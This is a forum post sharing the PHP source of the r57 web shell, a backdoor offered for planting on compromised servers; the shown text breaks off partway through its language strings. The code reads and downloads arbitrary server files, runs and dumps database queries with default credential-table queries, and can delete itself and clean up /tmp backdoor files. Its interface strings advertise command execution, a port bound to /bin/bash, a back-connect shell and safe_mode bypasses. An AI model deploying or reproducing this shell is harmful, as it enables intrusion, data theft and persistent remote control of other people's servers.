PDA

View Full Version : Lastest Shell Archive r57.txt,c99.txt,r57 shell,c99 shell,r57,c99,c100,bypass shell,


SilverSpam
07-28-2009, 08:26 AM
r57
<?php
/************************************************** ************************************************** **/
/*
/* # # # #
/* # # # #
/* # # # #
/* # ## #### ## #
/* ## ## ###### ## ##
/* ## ## ###### ## ##
/* ## ## #### ## ##
/* ### ############ ###
/* ########################
/* R57 shell
/* ######## ########## #######
/* ### ## ########## ## ###
/* ### ## ########## ## ###
/* ### # ########## # ###
/* ### ## ######## ## ###
/* ## # ###### # ##
/* ## # #### # ##
/* ## ##
/*
/************************************************** ************************************************** **/
/* ~~~ ????????? | Options ~~~ */

// ????? ????? | Language
// $language='ru' - ??????? (russian)
// $language='eng' - english (??????????)
$language='eng';

// ?????????????? | Authentification
// $auth = 1; - ?????????????? ???????? ( authentification = On )
// $auth = 0; - ?????????????? ????????? ( authentification = Off )
$auth = 0;

// ????? ? ?????? ??? ??????? ? ??????? (Login & Password for access)
// ?? ???????? ??????? ????? ??????????? ?? ???????!!! (CHANGE THIS!!!)
// ????? ? ?????? ????????? ? ??????? ????????? md5, ???????? ?? ????????? 'r57'
// Login & password crypted with md5, default is 'r57'
/************************************************** ************************************************** **/
error_reporting(0);
set_magic_quotes_runtime(0);
@set_time_limit(0);
@ini_set('max_execution_time',0);
@ini_set('output_buffering',0);
$safe_mode = @ini_get('safe_mode');
$version = '1.31';
if(version_compare(phpversion(), '4.1.0') == -1)
{
$_POST = &$HTTP_POST_VARS;
$_GET = &$HTTP_GET_VARS;
$_SERVER = &$HTTP_SERVER_VARS;
$_COOKIE = &$HTTP_COOKIE_VARS;
}
if (@get_magic_quotes_gpc())
{
foreach ($_POST as $k=>$v)
{
$_POST[$k] = stripslashes($v);
}
foreach ($_COOKIE as $k=>$v)
{
$_COOKIE[$k] = stripslashes($v);
}
}

if($auth == 1) {
if (!isset($_SERVER['PHP_AUTH_USER']) || md5($_SERVER['PHP_AUTH_USER'])!==$name || md5($_SERVER['PHP_AUTH_PW'])!==$pass)
{
header('WWW-Authenticate: Basic realm="r57shell"');
header('HTTP/1.0 401 Unauthorized');
exit("<b><a href=http://rst.void.ru>r57shell</a> : Access Denied</b>");
}
}
$head = '<!-- ??????????, ???? -->
<html>
<head>
<title>r57 shell</title>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1251">
<STYLE>
tr {
BORDER-RIGHT: #aaaaaa 1px solid;
BORDER-TOP: #eeeeee 1px solid;
BORDER-LEFT: #eeeeee 1px solid;
BORDER-BOTTOM: #aaaaaa 1px solid;
color: #000000;
}
td {
BORDER-RIGHT: #aaaaaa 1px solid;
BORDER-TOP: #eeeeee 1px solid;
BORDER-LEFT: #eeeeee 1px solid;
BORDER-BOTTOM: #aaaaaa 1px solid;
color: #000000;
}
.table1 {
BORDER: 0px;
BACKGROUND-COLOR: #D4D0C8;
color: #000000;
}
.td1 {
BORDER: 0px;
font: 7pt Verdana;
color: #000000;
}
.tr1 {
BORDER: 0px;
color: #000000;
}
table {
BORDER: #eeeeee 1px outset;
BACKGROUND-COLOR: #D4D0C8;
color: #000000;
}
input {
BORDER-RIGHT: #ffffff 1px solid;
BORDER-TOP: #999999 1px solid;
BORDER-LEFT: #999999 1px solid;
BORDER-BOTTOM: #ffffff 1px solid;
BACKGROUND-COLOR: #e4e0d8;
font: 8pt Verdana;
color: #000000;
}
select {
BORDER-RIGHT: #ffffff 1px solid;
BORDER-TOP: #999999 1px solid;
BORDER-LEFT: #999999 1px solid;
BORDER-BOTTOM: #ffffff 1px solid;
BACKGROUND-COLOR: #e4e0d8;
font: 8pt Verdana;
color: #000000;;
}
submit {
BORDER: buttonhighlight 2px outset;
BACKGROUND-COLOR: #e4e0d8;
width: 30%;
color: #000000;
}
textarea {
BORDER-RIGHT: #ffffff 1px solid;
BORDER-TOP: #999999 1px solid;
BORDER-LEFT: #999999 1px solid;
BORDER-BOTTOM: #ffffff 1px solid;
BACKGROUND-COLOR: #e4e0d8;
font: Fixedsys bold;
color: #000000;
}
BODY {
margin: 1px;
color: #000000;
background-color: #e4e0d8;
}
A:link {COLOR:red; TEXT-DECORATION: none}
A:visited { COLOR:red; TEXT-DECORATION: none}
A:active {COLOR:red; TEXT-DECORATION: none}
A:hover {color:blue;TEXT-DECORATION: none}
</STYLE>
<script language=\'javascript\'>
function hide_div(id)
{
document.getElementById(id).style.display = \'none\';
document.cookie=id+\'=0;\';
}
function show_div(id)
{
document.getElementById(id).style.display = \'block\';
document.cookie=id+\'=1;\';
}
function change_divst(id)
{
if (document.getElementById(id).style.display == \'none\')
show_div(id);
else
hide_div(id);
}
</script>';
class zipfile
{
var $datasec = array();
var $ctrl_dir = array();
var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00";
var $old_offset = 0;
function unix2DosTime($unixtime = 0) {
$timearray = ($unixtime == 0) ? getdate() : getdate($unixtime);
if ($timearray['year'] < 1980) {
$timearray['year'] = 1980;
$timearray['mon'] = 1;
$timearray['mday'] = 1;
$timearray['hours'] = 0;
$timearray['minutes'] = 0;
$timearray['seconds'] = 0;
}
return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) |
($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1);
}
function addFile($data, $name, $time = 0)
{
$name = str_replace('\\', '/', $name);
$dtime = dechex($this->unix2DosTime($time));
$hexdtime = '\x' . $dtime[6] . $dtime[7]
. '\x' . $dtime[4] . $dtime[5]
. '\x' . $dtime[2] . $dtime[3]
. '\x' . $dtime[0] . $dtime[1];
eval('$hexdtime = "' . $hexdtime . '";');
$fr = "\x50\x4b\x03\x04";
$fr .= "\x14\x00";
$fr .= "\x00\x00";
$fr .= "\x08\x00";
$fr .= $hexdtime;
$unc_len = strlen($data);
$crc = crc32($data);
$zdata = gzcompress($data);
$zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2);
$c_len = strlen($zdata);
$fr .= pack('V', $crc);
$fr .= pack('V', $c_len);
$fr .= pack('V', $unc_len);
$fr .= pack('v', strlen($name));
$fr .= pack('v', 0);
$fr .= $name;
$fr .= $zdata;
$this -> datasec[] = $fr;
$cdrec = "\x50\x4b\x01\x02";
$cdrec .= "\x00\x00";
$cdrec .= "\x14\x00";
$cdrec .= "\x00\x00";
$cdrec .= "\x08\x00";
$cdrec .= $hexdtime;
$cdrec .= pack('V', $crc);
$cdrec .= pack('V', $c_len);
$cdrec .= pack('V', $unc_len);
$cdrec .= pack('v', strlen($name) );
$cdrec .= pack('v', 0 );
$cdrec .= pack('v', 0 );
$cdrec .= pack('v', 0 );
$cdrec .= pack('v', 0 );
$cdrec .= pack('V', 32 );
$cdrec .= pack('V', $this -> old_offset );
$this -> old_offset += strlen($fr);
$cdrec .= $name;
$this -> ctrl_dir[] = $cdrec;
}
function file()
{
$data = implode('', $this -> datasec);
$ctrldir = implode('', $this -> ctrl_dir);
return
$data .
$ctrldir .
$this -> eof_ctrl_dir .
pack('v', sizeof($this -> ctrl_dir)) .
pack('v', sizeof($this -> ctrl_dir)) .
pack('V', strlen($ctrldir)) .
pack('V', strlen($data)) .
"\x00\x00";
}
}
function compress(&$filename,&$filedump,$compress)
{
global $content_encoding;
global $mime_type;
if ($compress == 'bzip' && @function_exists('bzcompress'))
{
$filename .= '.bz2';
$mime_type = 'application/x-bzip2';
$filedump = bzcompress($filedump);
}
else if ($compress == 'gzip' && @function_exists('gzencode'))
{
$filename .= '.gz';
$content_encoding = 'x-gzip';
$mime_type = 'application/x-gzip';
$filedump = gzencode($filedump);
}
else if ($compress == 'zip' && @function_exists('gzcompress'))
{
$filename .= '.zip';
$mime_type = 'application/zip';
$zipfile = new zipfile();
$zipfile -> addFile($filedump, substr($filename, 0, -4));
$filedump = $zipfile -> file();
}
else
{
$mime_type = 'application/octet-stream';
}
}
function mailattach($to,$from,$subj,$attach)
{
$headers = "From: $from\r\n";
$headers .= "MIME-Version: 1.0\r\n";
$headers .= "Content-Type: ".$attach['type'];
$headers .= "; name=\"".$attach['name']."\"\r\n";
$headers .= "Content-Transfer-Encoding: base64\r\n\r\n";
$headers .= chunk_split(base64_encode($attach['content']))."\r\n";
if(@mail($to,$subj,"",$headers)) { return 1; }
return 0;
}
class my_sql
{
var $host = 'localhost';
var $port = '';
var $user = '';
var $pass = '';
var $base = '';
var $db = '';
var $connection;
var $res;
var $error;
var $rows;
var $columns;
var $num_rows;
var $num_fields;
var $dump;

function connect()
{
switch($this->db)
{
case 'MySQL':
if(empty($this->port)) { $this->port = '3306'; }
if(!function_exists('mysql_connect')) return 0;
$this->connection = @mysql_connect($this->host.':'.$this->port,$this->user,$this->pass);
if(is_resource($this->connection)) return 1;
break;
case 'MSSQL':
if(empty($this->port)) { $this->port = '1433'; }
if(!function_exists('mssql_connect')) return 0;
$this->connection = @mssql_connect($this->host.','.$this->port,$this->user,$this->pass);
if($this->connection) return 1;
break;
case 'PostgreSQL':
if(empty($this->port)) { $this->port = '5432'; }
$str = "host='".$this->host."' port='".$this->port."' user='".$this->user."' password='".$this->pass."' dbname='".$this->base."'";
if(!function_exists('pg_connect')) return 0;
$this->connection = @pg_connect($str);
if(is_resource($this->connection)) return 1;
break;
case 'Oracle':
if(!function_exists('ocilogon')) return 0;
$this->connection = @ocilogon($this->user, $this->pass, $this->base);
if(is_resource($this->connection)) return 1;
break;
}
return 0;
}

function select_db()
{
switch($this->db)
{
case 'MySQL':
if(@mysql_select_db($this->base,$this->connection)) return 1;
break;
case 'MSSQL':
if(@mssql_select_db($this->base,$this->connection)) return 1;
break;
case 'PostgreSQL':
return 1;
break;
case 'Oracle':
return 1;
break;
}
return 0;
}

function query($query)
{
$this->res=$this->error='';
switch($this->db)
{
case 'MySQL':
if(false===($this->res=@mysql_query('/*'.chr(0).'*/'.$query,$this->connection)))
{
$this->error = @mysql_error($this->connection);
return 0;
}
else if(is_resource($this->res)) { return 1; }
return 2;
break;
case 'MSSQL':
if(false===($this->res=@mssql_query($query,$this->connection)))
{
$this->error = 'Query error';
return 0;
}
else if(@mssql_num_rows($this->res) > 0) { return 1; }
return 2;
break;
case 'PostgreSQL':
if(false===($this->res=@pg_query($this->connection,$query)))
{
$this->error = @pg_last_error($this->connection);
return 0;
}
else if(@pg_num_rows($this->res) > 0) { return 1; }
return 2;
break;
case 'Oracle':
if(false===($this->res=@ociparse($this->connection,$query)))
{
$this->error = 'Query parse error';
}
else
{
if(@ociexecute($this->res))
{
if(@ocirowcount($this->res) != 0) return 2;
return 1;
}
$error = @ocierror();
$this->error=$error['message'];
}
break;
}
return 0;
}
function get_result()
{
$this->rows=array();
$this->columns=array();
$this->num_rows=$this->num_fields=0;
switch($this->db)
{
case 'MySQL':
$this->num_rows=@mysql_num_rows($this->res);
$this->num_fields=@mysql_num_fields($this->res);
while(false !== ($this->rows[] = @mysql_fetch_assoc($this->res)));
@mysql_free_result($this->res);
if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;}
break;
case 'MSSQL':
$this->num_rows=@mssql_num_rows($this->res);
$this->num_fields=@mssql_num_fields($this->res);
while(false !== ($this->rows[] = @mssql_fetch_assoc($this->res)));
@mssql_free_result($this->res);
if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;};
break;
case 'PostgreSQL':
$this->num_rows=@pg_num_rows($this->res);
$this->num_fields=@pg_num_fields($this->res);
while(false !== ($this->rows[] = @pg_fetch_assoc($this->res)));
@pg_free_result($this->res);
if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;}
break;
case 'Oracle':
$this->num_fields=@ocinumcols($this->res);
while(false !== ($this->rows[] = @oci_fetch_assoc($this->res))) $this->num_rows++;
@ocifreestatement($this->res);
if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;}
break;
}
return 0;
}
function dump($table)
{
if(empty($table)) return 0;
$this->dump=array();
$this->dump[0] = '##';
$this->dump[1] = '## --------------------------------------- ';
$this->dump[2] = '## Created: '.date ("d/m/Y H:i:s");
$this->dump[3] = '## Database: '.$this->base;
$this->dump[4] = '## Table: '.$table;
$this->dump[5] = '## --------------------------------------- ';
switch($this->db)
{
case 'MySQL':
$this->dump[0] = '## MySQL dump';
if($this->query('/*'.chr(0).'*/ SHOW CREATE TABLE `'.$table.'`')!=1) return 0;
if(!$this->get_result()) return 0;
$this->dump[] = $this->rows[0]['Create Table'];
$this->dump[] = '## --------------------------------------- ';
if($this->query('/*'.chr(0).'*/ SELECT * FROM `'.$table.'`')!=1) return 0;
if(!$this->get_result()) return 0;
for($i=0;$i<$this->num_rows;$i++)
{
foreach($this->rows[$i] as $k=>$v) {$this->rows[$i][$k] = @mysql_real_escape_string($v);}
$this->dump[] = 'INSERT INTO `'.$table.'` (`'.@implode("`, `", $this->columns).'`) VALUES (\''.@implode("', '", $this->rows[$i]).'\');';
}
break;
case 'MSSQL':
$this->dump[0] = '## MSSQL dump';
if($this->query('SELECT * FROM '.$table)!=1) return 0;
if(!$this->get_result()) return 0;
for($i=0;$i<$this->num_rows;$i++)
{
foreach($this->rows[$i] as $k=>$v) {$this->rows[$i][$k] = @addslashes($v);}
$this->dump[] = 'INSERT INTO '.$table.' ('.@implode(", ", $this->columns).') VALUES (\''.@implode("', '", $this->rows[$i]).'\');';
}
break;
case 'PostgreSQL':
$this->dump[0] = '## PostgreSQL dump';
if($this->query('SELECT * FROM '.$table)!=1) return 0;
if(!$this->get_result()) return 0;
for($i=0;$i<$this->num_rows;$i++)
{
foreach($this->rows[$i] as $k=>$v) {$this->rows[$i][$k] = @addslashes($v);}
$this->dump[] = 'INSERT INTO '.$table.' ('.@implode(", ", $this->columns).') VALUES (\''.@implode("', '", $this->rows[$i]).'\');';
}
break;
case 'Oracle':
$this->dump[0] = '## ORACLE dump';
$this->dump[] = '## under construction';
break;
default:
return 0;
break;
}
return 1;
}
function close()
{
switch($this->db)
{
case 'MySQL':
@mysql_close($this->connection);
break;
case 'MSSQL':
@mssql_close($this->connection);
break;
case 'PostgreSQL':
@pg_close($this->connection);
break;
case 'Oracle':
@oci_close($this->connection);
break;
}
}
function affected_rows()
{
switch($this->db)
{
case 'MySQL':
return @mysql_affected_rows($this->res);
break;
case 'MSSQL':
return @mssql_affected_rows($this->res);
break;
case 'PostgreSQL':
return @pg_affected_rows($this->res);
break;
case 'Oracle':
return @ocirowcount($this->res);
break;
default:
return 0;
break;
}
}
}
if(!empty($_POST['cmd']) && $_POST['cmd']=="download_file" && !empty($_POST['d_name']))
{
if(!$file=@fopen($_POST['d_name'],"r")) { err(1,$_POST['d_name']); $_POST['cmd']=""; }
else
{
@ob_clean();
$filename = @basename($_POST['d_name']);
$filedump = @fread($file,@filesize($_POST['d_name']));
fclose($file);
$content_encoding=$mime_type='';
compress($filename,$filedump,$_POST['compress']);
if (!empty($content_encoding)) { header('Content-Encoding: ' . $content_encoding); }
header("Content-type: ".$mime_type);
header("Content-disposition: attachment; filename=\"".$filename."\";");
echo $filedump;
exit();
}
}
if(isset($_GET['phpinfo'])) { echo @phpinfo(); echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; die(); }
if (!empty($_POST['cmd']) && $_POST['cmd']=="db_query")
{
echo $head;
$sql = new my_sql();
$sql->db = $_POST['db'];
$sql->host = $_POST['db_server'];
$sql->port = $_POST['db_port'];
$sql->user = $_POST['mysql_l'];
$sql->pass = $_POST['mysql_p'];
$sql->base = $_POST['mysql_db'];
$querys = @explode(';',$_POST['db_query']);
echo '<body bgcolor=#e4e0d8>';
if(!$sql->connect()) echo "<div align=center><font face=Verdana size=-2 color=red><b>Can't connect to SQL server</b></font></div>";
else
{
if(!empty($sql->base)&&!$sql->select_db()) echo "<div align=center><font face=Verdana size=-2 color=red><b>Can't select database</b></font></div>";
else
{
foreach($querys as $num=>$query)
{
if(strlen($query)>5)
{
echo "<font face=Verdana size=-2 color=green><b>Query#".$num." : ".htmlspecialchars($query,ENT_QUOTES)."</b></font><br>";
switch($sql->query($query))
{
case '0':
echo "<table width=100%><tr><td><font face=Verdana size=-2>Error : <b>".$sql->error."</b></font></td></tr></table>";
break;
case '1':
if($sql->get_result())
{
echo "<table width=100%>";
foreach($sql->columns as $k=>$v) $sql->columns[$k] = htmlspecialchars($v,ENT_QUOTES);
$keys = @implode("&nbsp;</b></font></td><td bgcolor=#cccccc><font face=Verdana size=-2><b>&nbsp;", $sql->columns);
echo "<tr><td bgcolor=#cccccc><font face=Verdana size=-2><b>&nbsp;".$keys."&nbsp;</b></font></td></tr>";
for($i=0;$i<$sql->num_rows;$i++)
{
foreach($sql->rows[$i] as $k=>$v) $sql->rows[$i][$k] = htmlspecialchars($v,ENT_QUOTES);
$values = @implode("&nbsp;</font></td><td><font face=Verdana size=-2>&nbsp;",$sql->rows[$i]);
echo '<tr><td><font face=Verdana size=-2>&nbsp;'.$values.'&nbsp;</font></td></tr>';
}
echo "</table>";
}
break;
case '2':
$ar = $sql->affected_rows()?($sql->affected_rows()):('0');
echo "<table width=100%><tr><td><font face=Verdana size=-2>affected rows : <b>".$ar."</b></font></td></tr></table><br>";
break;
}
}
}
}
}
echo "<br><form name=form method=POST>";
echo in('hidden','db',0,$_POST['db']);
echo in('hidden','db_server',0,$_POST['db_server']);
echo in('hidden','db_port',0,$_POST['db_port']);
echo in('hidden','mysql_l',0,$_POST['mysql_l']);
echo in('hidden','mysql_p',0,$_POST['mysql_p']);
echo in('hidden','mysql_db',0,$_POST['mysql_db']);
echo in('hidden','cmd',0,'db_query');
echo "<div align=center>";
echo "<font face=Verdana size=-2><b>Base: </b><input type=text name=mysql_db value=\"".$sql->base."\"></font><br>";
echo "<textarea cols=65 rows=10 name=db_query>".(!empty($_POST['db_query'])?($_POST['db_query']):("SHOW DATABASES;\nSELECT * FROM user;"))."</textarea><br><input type=submit name=submit value=\" Run SQL query \"></div><br><br>";
echo "</form>";
echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; die();
}
if(isset($_GET['delete']))
{
@unlink(__FILE__);
}
if(isset($_GET['tmp']))
{
@unlink("/tmp/bdpl");
@unlink("/tmp/back");
@unlink("/tmp/bd");
@unlink("/tmp/bd.c");
@unlink("/tmp/dp");
@unlink("/tmp/dpc");
@unlink("/tmp/dpc.c");
}
if(isset($_GET['phpini']))
{
echo $head;
function U_value($value)
{
if ($value == '') return '<i>no value</i>';
if (@is_bool($value)) return $value ? 'TRUE' : 'FALSE';
if ($value === null) return 'NULL';
if (@is_object($value)) $value = (array) $value;
if (@is_array($value))
{
@ob_start();
print_r($value);
$value = @ob_get_contents();
@ob_end_clean();
}
return U_wordwrap((string) $value);
}
function U_wordwrap($str)
{
$str = @wordwrap(@htmlspecialchars($str), 100, '<wbr />', true);
return @preg_replace('!(&[^;]*)<wbr />([^;]*;)!', '$1$2<wbr />', $str);
}
if (@function_exists('ini_get_all'))
{
$r = '';
echo '<table width=100%>', '<tr><td bgcolor=#cccccc><font face=Verdana size=-2 color=red><div align=center><b>Directive</b></div></font></td><td bgcolor=#cccccc><font face=Verdana size=-2 color=red><div align=center><b>Local Value</b></div></font></td><td bgcolor=#cccccc><font face=Verdana size=-2 color=red><div align=center><b>Master Value</b></div></font></td></tr>';
foreach (@ini_get_all() as $key=>$value)
{
$r .= '<tr><td>'.ws(3).'<font face=Verdana size=-2><b>'.$key.'</b></font></td><td><font face=Verdana size=-2><div align=center><b>'.U_value($value['local_value']).'</b></div></font></td><td><font face=Verdana size=-2><div align=center><b>'.U_value($value['global_value']).'</b></div></font></td></tr>';
}
echo $r;
echo '</table>';
}
echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>";
die();
}
if(isset($_GET['cpu']))
{
echo $head;
echo '<table width=100%><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2 color=red><b>CPU</b></font></div></td></tr></table><table width=100%>';
$cpuf = @file("cpuinfo");
if($cpuf)
{
$c = @sizeof($cpuf);
for($i=0;$i<$c;$i++)
{
$info = @explode(":",$cpuf[$i]);
if($info[1]==""){ $info[1]="---"; }
$r .= '<tr><td>'.ws(3).'<font face=Verdana size=-2><b>'.trim($info[0]).'</b></font></td><td><font face=Verdana size=-2><div align=center><b>'.trim($info[1]).'</b></div></font></td></tr>';
}
echo $r;
}
else
{
echo '<tr><td>'.ws(3).'<div align=center><font face=Verdana size=-2><b> --- </b></font></div></td></tr>';
}
echo '</table>';
echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>";
die();
}
if(isset($_GET['mem']))
{
echo $head;
echo '<table width=100%><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2 color=red><b>MEMORY</b></font></div></td></tr></table><table width=100%>';
$memf = @file("meminfo");
if($memf)
{
$c = sizeof($memf);
for($i=0;$i<$c;$i++)
{
$info = explode(":",$memf[$i]);
if($info[1]==""){ $info[1]="---"; }
$r .= '<tr><td>'.ws(3).'<font face=Verdana size=-2><b>'.trim($info[0]).'</b></font></td><td><font face=Verdana size=-2><div align=center><b>'.trim($info[1]).'</b></div></font></td></tr>';
}
echo $r;
}
else
{
echo '<tr><td>'.ws(3).'<div align=center><font face=Verdana size=-2><b> --- </b></font></div></td></tr>';
}
echo '</table>';
echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>";
die();
}
$lang=array(
'ru_text1' =>'??????????? ???????',
'ru_text2' =>'?????????? ?????? ?? ???????',
'ru_text3' =>'????????? ???????',
'ru_text4' =>'??????? ??????????',
'ru_text5' =>'???????? ?????? ?? ??????',
'ru_text6' =>'????????? ????',
'ru_text7' =>'??????',
'ru_text8' =>'???????? ?????',
'ru_butt1' =>'?????????',
'ru_butt2' =>'?????????',
'ru_text9' =>'???????? ????? ? ???????? ??? ? /bin/bash',
'ru_text10'=>'??????? ????',
'ru_text11'=>'?????? ??? ???????',
'ru_butt3' =>'???????',
'ru_text12'=>'back-connect',
'ru_text13'=>'IP-?????',
'ru_text14'=>'????',
'ru_butt4' =>'?????????',
'ru_text15'=>'???????? ?????? ? ?????????? ???????',
'ru_text16'=>'????????????',
'ru_text17'=>'????????? ????',
'ru_text18'=>'????????? ????',
'ru_text19'=>'Exploits',
'ru_text20'=>'????????????',
'ru_text21'=>'????? ???',
'ru_text22'=>'datapipe',
'ru_text23'=>'????????? ????',
'ru_text24'=>'????????? ????',
'ru_text25'=>'????????? ????',
'ru_text26'=>'????????????',
'ru_butt5' =>'?????????',
'ru_text28'=>'?????? ? safe_mode',
'ru_text29'=>'?????? ????????',
'ru_butt6' =>'???????',
'ru_text30'=>'???????? ?????',
'ru_butt7' =>'???????',
'ru_text31'=>'???? ?? ??????',
'ru_text32'=>'?????????? PHP ????',
'ru_text33'=>'???????? ??????????? ?????? ??????????? open_basedir ????? ??????? cURL',
'ru_butt8' =>'?????????',
'ru_text34'=>'???????? ??????????? ?????? ??????????? safe_mode ????? ??????? include',
'ru_text35'=>'???????? ??????????? ?????? ??????????? safe_mode ????? ???????? ????? ? mysql',
'ru_text36'=>'???? . ???????',
'ru_text37'=>'?????',
'ru_text38'=>'??????',
'ru_text39'=>'????',
'ru_text40'=>'???? ??????? ???? ??????',
'ru_butt9' =>'????',
'ru_text41'=>'????????? ? ?????',
'ru_text42'=>'?????????????? ?????',
'ru_text43'=>'????????????? ????',
'ru_butt10'=>'?????????',
'ru_butt11'=>'?????????????',
'ru_text44'=>'?????????????? ????? ??????????! ?????? ?????? ??? ??????!',
'ru_text45'=>'???? ????????',
'ru_text46'=>'???????? phpinfo()',
'ru_text47'=>'???????? ???????? php.ini',
'ru_text48'=>'???????? ????????? ??????',
'ru_text49'=>'???????? ??????? ? ???????',
'ru_text50'=>'?????????? ? ??????????',
'ru_text51'=>'?????????? ? ??????',
'ru_text52'=>'????? ??? ??????',
'ru_text53'=>'?????? ? ?????',
'ru_text54'=>'????? ?????? ? ??????',
'ru_butt12'=>'?????',
'ru_text55'=>'?????? ? ??????',
'ru_text56'=>'?????? ?? ???????',
'ru_text57'=>'???????/??????? ????/??????????',
'ru_text58'=>'???',
'ru_text59'=>'????',
'ru_text60'=>'??????????',
'ru_butt13'=>'???????/???????',
'ru_text61'=>'???? ??????',
'ru_text62'=>'?????????? ???????',
'ru_text63'=>'???? ??????',
'ru_text64'=>'?????????? ???????',
'ru_text65'=>'???????',
'ru_text66'=>'???????',
'ru_text67'=>'Chown/Chgrp/Chmod',
'ru_text68'=>'???????',
'ru_text69'=>'????????1',
'ru_text70'=>'????????2',
'ru_text71'=>"?????? ???????? ???????:\r\n- ??? CHOWN - ??? ?????? ???????????? ??? ??? UID (??????) \r\n- ??? ??????? CHGRP - ??? ?????? ??? GID (??????) \r\n- ??? ??????? CHMOD - ????? ????? ? ???????????? ????????????? (???????? 0777)",
'ru_text72'=>'????? ??? ??????',
'ru_text73'=>'?????? ? ?????',
'ru_text74'=>'?????? ? ??????',
'ru_text75'=>'* ????? ???????????? ?????????? ?????????',
'ru_text76'=>'????? ?????? ? ?????? ? ??????? ??????? find',
'ru_text80'=>'???',
'ru_text81'=>'????',
'ru_text82'=>'???? ??????',
'ru_text83'=>'?????????? SQL ???????',
'ru_text84'=>'SQL ??????',
'ru_text85'=>'???????? ??????????? ?????? ??????????? safe_mode ????? ?????????? ?????? ? MSSQL ???????',
'ru_text86'=>'?????????? ????? ? ???????',
'ru_butt14'=>'???????',
'ru_text87'=>'?????????? ?????? ? ?????????? ftp-???????',
'ru_text88'=>'FTP-??????:????',
'ru_text89'=>'???? ?? ftp ???????',
'ru_text90'=>'????? ????????',
'ru_text91'=>'???????????? ?',
'ru_text92'=>'??? ?????????',
'ru_text93'=>'FTP',
'ru_text94'=>'FTP-????????',
'ru_text95'=>'?????? ?????????????',
'ru_text96'=>'?? ??????? ???????? ?????? ?????????????',
'ru_text97'=>'????????? ??????????: ',
'ru_text98'=>'??????? ???????????: ',
'ru_text99'=>'* ? ???????? ?????? ? ?????? ???????????? ??? ???????????? ?? /etc/passwd',
'ru_text100'=>'???????? ?????? ?? ????????? ??? ??????',
'ru_text101'=>'???????????? ????? ???????????? (user -> resu) ??? ???????????? ? ???????? ??????',
'ru_text102'=>'?????',
'ru_text103'=>'???????? ??????',
'ru_text104'=>'???????? ????? ?? ???????? ????',
'ru_text105'=>'????',
'ru_text106'=>'??',
'ru_text107'=>'????',
'ru_butt15'=>'?????????',
'ru_text108'=>'????? ??????',
'ru_text109'=>'????????',
'ru_text110'=>'??????????',
'ru_text111'=>'SQL-?????? : ????',
'ru_text112'=>'???????? ??????????? ?????? ??????????? safe_mode ????? ????????????? ??????? mb_send_mail',
'ru_text113'=>'???????? ??????????? ?????? ??????????? safe_mode, ???????? ???????? ?????????? ? ?????????????? imap_list',
'ru_text114'=>'???????? ??????????? ?????? ??????????? safe_mode, ???????? ??????????? ????? ? ?????????????? imap_body',
'ru_text115'=>'???????? ??????????? ?????? ??????????? safe_mode, ??????????? ?????? ? compress.zlib:// ? copy()',
'ru_text116'=>'?????????? ????',
'ru_text117'=>'?',
'ru_text118'=>'???? ??????????',
'ru_text119'=>'?? ??????? ??????????? ????',
'ru_err0'=>'??????! ?? ???? ???????? ? ???? ',
'ru_err1'=>'??????! ?? ???? ????????? ???? ',
'ru_err2'=>'??????! ?? ??????? ??????? ',
'ru_err3'=>'??????! ?? ??????? ???????????? ? ftp ???????',
'ru_err4'=>'?????? ??????????? ?? ftp ???????',
'ru_err5'=>'??????! ?? ??????? ???????? ?????????? ?? ftp ???????',
'ru_err6'=>'??????! ?? ??????? ????????? ??????',
'ru_err7'=>'?????? ??????????',
/* --------------------------------------------------------------- */
'eng_text1' =>'Executed command',
'eng_text2' =>'Execute command on server',
'eng_text3' =>'Run command',
'eng_text4' =>'Work directory',
'eng_text5' =>'Upload files on server',
'eng_text6' =>'Local file',
'eng_text7' =>'Aliases',
'eng_text8' =>'Select alias',
'eng_butt1' =>'Execute',
'eng_butt2' =>'Upload',
'eng_text9' =>'Bind port to /bin/bash',
'eng_text10'=>'Port',
'eng_text11'=>'Password for access',
'eng_butt3' =>'Bind',
'eng_text12'=>'back-connect',
'eng_text13'=>'IP',
'eng_text14'=>'Port',
'eng_butt4' =>'Connect',
'eng_text15'=>'Upload files from remote server',
'eng_text16'=>'With',
'eng_text17'=>'Remote file',
'eng_text18'=>'Local file',
'eng_text19'=>'Exploits',
'eng_text20'=>'Use',
'eng_text21'=>'&nbsp;New name',
'eng_text22'=>'datapipe',
'eng_text23'=>'Local port',
'eng_text24'=>'Remote host',
'eng_text25'=>'Remote port',
'eng_text26'=>'Use',
'eng_butt5' =>'Run',
'eng_text28'=>'Work in safe_mode',
'eng_text29'=>'ACCESS DENIED',
'eng_butt6' =>'Change',
'eng_text30'=>'Cat file',
'eng_butt7' =>'Show',
'eng_text31'=>'File not found',
'eng_text32'=>'Eval PHP code',
'eng_text33'=>'Test bypass open_basedir with cURL functions',
'eng_butt8' =>'Test',
'eng_text34'=>'Test bypass safe_mode with include function',
'eng_text35'=>'Test bypass safe_mode with load file in mysql',
'eng_text36'=>'Database . Table',
'eng_text37'=>'Login',
'eng_text38'=>'Password',
'eng_text39'=>'Database',
'eng_text40'=>'Dump database table',
'eng_butt9' =>'Dump',
'eng_text41'=>'Save dump in file',
'eng_text42'=>'Edit files',
'eng_text43'=>'File for edit',
'eng_butt10'=>'Save',
'eng_text44'=>'Can\'t edit file! Only read access!',
'eng_text45'=>'File saved',
'eng_text46'=>'Show phpinfo()',
